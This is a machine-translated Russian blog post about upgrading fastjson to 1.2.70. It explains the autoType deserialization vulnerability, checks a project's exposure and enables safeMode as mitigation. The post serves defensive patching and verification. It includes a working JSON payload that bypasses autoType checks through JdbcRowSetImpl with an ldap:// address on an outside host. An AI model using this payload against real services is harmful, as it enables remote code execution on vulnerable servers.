Инструкция по обновлению FastJson до 1.2.70

Java

[toc]

Источник статьи:Блог о вращении окон

оFastJsonобновитесь до1.2.70инструкция

author: Vic.xu

Date:20200601

одинОфициальное объявление 20200601 Отрывок

Бюллетень по безопасности 20200601

Недавно Центр экстренного реагирования Alibaba Cloud обнаружил вспышку новой уязвимости десериализации удаленного выполнения кода в fastjson.Хакеры могут использовать эту уязвимость для обхода ограничений автотипа и прямого удаленного выполнения произвольных команд для атаки на сервер, что чрезвычайно рискованно.

Описание уязвимости

fastjson использует черный и белый списки для защиты от уязвимостей десериализации.В результате, когда хакеры продолжают обнаруживать новые классы десериализованных гаджетов, механизм защиты черного и белого списков все еще может быть обойден при отключенном autoType, что приводит к уязвимостям удаленного выполнения команд. После исследования порог для использования этой уязвимости низок, она может обойти ограничения автотипа, и риск имеет большее влияние. Центр реагирования на чрезвычайные ситуации в облаке Alibaba напоминает пользователям fastjson о необходимости как можно скорее принять меры безопасности для предотвращения атак уязвимостей.

Воздействовать на версию

  • fastjson <=1.2.68
  • версия fastjson sec

План обновления

Обновите до последней версии 1.2.69 или более новой версии 1.2.70.

армирование fastjson

fastjsonПредставлено в версии 1.2.68 и выше.safeMode, настроитьsafeModeПосле этого вне зависимости от белого и черного списка не поддерживаетсяautoType, что может в определенной степени смягчить атаку варианта десериализации Gadgets (закрытьautoTypeОбратите внимание на оценку влияния на бизнес)

Способ открытия SafeMode

  1. Настроить в коде

    ParserConfig.getGlobalInstance().setSafeMode(true);

  2. плюсJVMпараметры запуска

    -Dfastjson.parser.safeMode=true

  3. пройти черезfastjson.propertiesконфигурация файла.

    fastjson.parser.safeMode=true

Два принципа уязвимости и проверка уязвимости

Несколько версий компонентов Fastjson вызывают выполнение кода при десериализации ненадежных данных. Причина в том, что, во-первых, Fastjson предоставляет функцию автотипирования, которая позволяет пользователям указывать тип десериализации через «@type» в десериализованных данных, во-вторых, пользовательский механизм десериализации Fastjson будет вызывать сеттер в указанном методе класса и некоторые методы получения, то когда компонент активирует функцию автотипа и десериализует ненадежные данные, злоумышленник может сконструировать данные таким образом, чтобы процесс выполнения кода целевого приложения вошел в конкретный метод установки или получения определенного класса. указанный метод (также обычно называемый «Гаджет»), который может вызвать серьезные проблемы с безопасностью.

В версиях Fastjson 1.2.47 и ниже функцию автотипа можно обойти с помощью механизма кэширования.Подробнее об обходе см. (Woohoo.Security Section.com/post/ID/181…

Простое отображение кода уязвимости

На основе версии 1.2.46, используемой в настоящее время ICBC.

  1. проверятьautoTypeЗначение по умолчанию: Результат по умолчанию равен false, что соответствует описанию на официальном веб-сайте.fastjsonОн больше не включен по умолчанию в версии 1.2.2+.autoTypeопции"

    ParserConfig config = ParserConfig.getGlobalInstance();
    boolean autoTypeSupport = config.isAutoTypeSupport();
    System.out.println(autoTypeSupport);//false
    
  2. при нормальных обстоятельствахautoTypeПри значении false тестовый код не обойден

    Model model = new Model();
    model.setId(1);
    model.setName("vic");
    //获得的结果为{"@type":"pers.vic.test.json.fastjson.Model","id":1,"name":"vic"}
    String json  = JSON.toJSONString(model, SerializerFeature.WriteClassName);
    System.out.println(json);
    //反序列换报错:autoType is not support. pers.vic.test.json.fastjson.Model
    JSON.parse(json);
    
  3. Обход аутентификации через черный список иautotypeпроцесс проверки

    • Подготовьте строки, которые могут обойти обнаружение

      private static String str = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://a.631c122b.n0p.co\",\"autoCommit\":true}}";
      
    • выполнить десериализацию строки

      JSONObject obj = JSON.parseObject(str);
      

      Результат выполнениясообщить об ошибке

      ........set property error, autoCommit

      ........ JdbcRowSet (подключение) JNDI не удалось подключиться

    Указывает, что была выполнена операция подключения к базе данных и чтоsetAutoCommit;, что доказывает, что в обходautotypeинвалид;

    Принцип обхода, см. https://www.anquanke.com/post/id/181874; примерно означает:

    1. Загрузите конфигурацию перед десериализацией, автотип в этом проекте является конфигурацией по умолчанию: false
    2. Кэшируйте некоторые часто используемые методы библиотеки классов для сопоставлений объектов ConcurrentMap.
    3. Когда мы не передаем соответствующее имя класса ожидаемого десериализованного объекта при вызове функции синтаксического анализа для десериализации, мы можем получить соответствующий класс десериализованного объекта из отображений или метода deserializers.findClass().
    4. После нахождения соответствующего класса он вернется без прохождения черного списка и процесса проверки автотипа. И класс java.lang.class существует в свойстве Buckets объекта десериализаторов:
    5. (2 3 4 в сочетании с обходом черного списка и проверкой автотипа, последующее описание опущено)

Трое в этом проектеjsonИнструкции по применению

3.1 Сериализация и десериализация json в проекте в основном используются дляJackson

  1. Фреймворк темы, используемый в этом проекте, — SpringMVC, а преобразование json в конвертер сообщений используетMappingJackson2HttpMessageConverter(т.е.Jackson)
  2. Его роль заключается в следующих двух пунктах (сериализация/десериализация):
    1. пройти через@ResponseBodyКогда аннотация возвращает содержимое тела ответа, объект преобразуется в строку json (сериализация), это широко используется в этом проекте, и большинство ajax-запросов сериализуются этим json; 2. Пройти@RequestBodyАннотация, получение json-строки фронтенда и сериализация json-строки в программный объект, частота использования в данном проекте крайне низкая (по поиску нашел только одну)

3.2 О программеfastjsonИспользовать в этом проекте

Ищите только десериализацию, так как сериализация не имеет проблем с безопасностью

  1. JSON.parseВ этом проекте было найдено 19 результатов
  • Большинство из них представляют собой строки, хранящиеся в самом бэкэнде сериализации (без риска для безопасности).
  1. JSONObject.parseРезультатов поиска в этом проекте 2
  • Эти два места напрямую десериализуются и заменяются строкой json, переданной во внешнем интерфейсе, что рискованно.

3.3 О введении этого проектаfastjsonпричина

Моя догадка:

  1. Поскольку фреймворк orm в этом проекте использует спящий режим, имеет место случай ленивой загрузки (то есть часто запрашиваются прокси-объекты)

  2. Общность сущностей и моделей базы данных, что приводит к множеству дополнений к сущностям.jacksonАннотации, связанные с сериализацией (например, игнорирование сериализации свойств);

    Например:

    1. Запросите объект сущности и верните его во внешний интерфейс через сериализацию.Из-за каскадного запроса спящего режима добавлено множество аннотаций, которые игнорируют сериализацию, для достижения цели устранения ненужных запросов.
    2. Если серверная часть получает строку json внешнего интерфейса через тот же объект сущности, атрибуты будут потеряны из-за наличия игнорирования аннотаций сериализации.
  3. использоватьfastjsonизбегатьjacksonСвязанные аннотации сериализации для достижения цели повторного использования моделей

Четыре на этот разfastjsonИнструкции по обновлению

В этом проекте нет необходимости использовать десериализацию @type, и ее можно полностью отключить;

  1. Версия обновлена ​​до рекомендуемой версии на официальном сайте1.2.70Версия;

    После обновления используйте приведенную выше строку для проверки обхода.autoTypeОн выдаст ошибку, когда:autoType is not support. com.sun.rowset.JdbcRowSetImpl

  2. через конфигурационный файлfastjson.propertiesнастроитьfastjson.parser.safeMode=trueполностью отключенautoType;

    Смотрите описание на официальном сайте:

    在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。

Источник статьи:Блог о вращении окон